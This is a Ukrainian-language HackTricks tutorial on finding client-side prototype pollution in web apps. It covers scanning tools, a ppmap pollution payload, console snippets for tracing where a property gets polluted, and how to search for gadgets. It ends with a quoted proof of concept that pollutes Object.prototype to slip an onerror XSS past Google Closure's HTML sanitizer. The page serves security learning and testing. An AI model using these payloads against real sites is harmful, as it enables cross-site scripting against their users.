Client Side Prototype Pollution

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Виявлення за допомогою автоматичних інструментів

Інструменти https://github.com/dwisiswant0/ppfuzz, https://github.com/kleiton0x00/ppmap і https://github.com/kosmosec/proto-find можуть бути використані для виявлення вразливостей забруднення прототипу.

Крім того, ви також можете використовувати розширення для браузера PPScan для автоматичного сканування сторінок, які ви відвідуєте, на предмет вразливостей забруднення прототипу.

Налагодження, де використовується властивість

```javascript // Stop debugger where 'potentialGadget' property is accessed Object.defineProperty(Object.prototype,'potentialGadget', {__proto__:null, get(){ console.trace(); return 'test'; }}) ``` ### Пошук кореневої причини забруднення прототипу

Як тільки вразливість забруднення прототипу була ідентифікована будь-якими засобами, і якщо код не є надто складним, ви можете знайти вразливість, шукаючи ключові слова, такі як location.hash, decodeURIComponent, або location.search в Chrome Developer Tools. Цей підхід дозволяє вам точно визначити вразливий розділ JavaScript-коду.

Для більших і складніших кодових баз простий метод виявлення вразливого коду включає наступні кроки:

  1. Використовуйте засіб для ідентифікації вразливості та отримання навантаження, призначеного для встановлення властивості в конструкторі. Приклад, наданий ppmap, може виглядати так: constructor[prototype][ppmap]=reserved.

  2. Встановіть точку зупинки на першому рядку JavaScript-коду, який буде виконуватися на сторінці. Оновіть сторінку з навантаженням, призупиняючи виконання на цій точці зупинки.

  3. Поки виконання JavaScript призупинене, виконайте наступний скрипт у консолі JS. Цей скрипт сигналізуватиме, коли властивість 'ppmap' буде створена, допомагаючи визначити її походження:

function debugAccess(obj, prop, debugGet=true){

var origValue = obj[prop];

Object.defineProperty(obj, prop, {
get: function () {
if (debugGet)
debugger;
return origValue;
},
set: function(val) {
debugger;
origValue = val;
}
});

};

debugAccess(Object.prototype, 'ppmap')
  1. Перейдіть назад до вкладки Sources та виберіть "Продовжити виконання скрипту". JavaScript продовжить виконання, і властивість 'ppmap' буде забруднена, як очікувалося. Використання наданого уривка сприяє ідентифікації точного місця, де властивість 'ppmap' забруднена. Шляхом дослідження Стеку викликів можна спостерігати різні стеки, де відбулася забруднення.

При виборі стеку для дослідження часто корисно вибирати стеки, пов'язані з файлами бібліотек JavaScript, оскільки забруднення прототипу часто відбувається в цих бібліотеках. Визначте відповідний стек, досліджуючи його прикріплення до файлів бібліотек (видимих справа, схожих на надане зображення для керівництва). У сценаріях з кількома стеками, такими як на рядках 4 та 6, логічним вибором є стек на рядку 4, оскільки він представляє початкове виникнення забруднення та, отже, кореневу причину вразливості. Клацнувши на стек, ви будете перенаправлені на вразливий код.

Пошук скриптових гаджетів

Гаджет - код, який буде використаний після виявлення уразливості PP.

Якщо додаток простий, ми можемо шукати ключові слова такі як srcdoc/innerHTML/iframe/createElement та переглядати вихідний код, щоб перевірити, чи призводить до виконання JavaScript. Іноді згадані техніки можуть не знайти гаджети взагалі. У цьому випадку чистий огляд вихідного коду розкриває деякі цікаві гаджети, як у наведеному нижче прикладі.

Приклад пошуку гаджету PP в коді бібліотеки Mithil

Перевірте цей опис: https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

Перекомпіляція навантажень для вразливих бібліотек

Обхід HTML-санітайзерів через PP

Це дослідження показує гаджети PP, які можна використовувати для обхіду санізації, наданої деякими бібліотеками HTML-санітайзерів:

  • sanitize-html

  • dompurify

  • Closure

<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);

document.body.append(node);
</script>

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated